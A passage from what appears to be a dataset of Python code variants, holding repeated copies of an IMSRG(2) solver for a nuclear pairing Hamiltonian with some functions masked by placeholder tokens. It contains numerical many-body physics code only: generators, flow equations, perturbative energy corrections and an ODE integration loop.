user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, 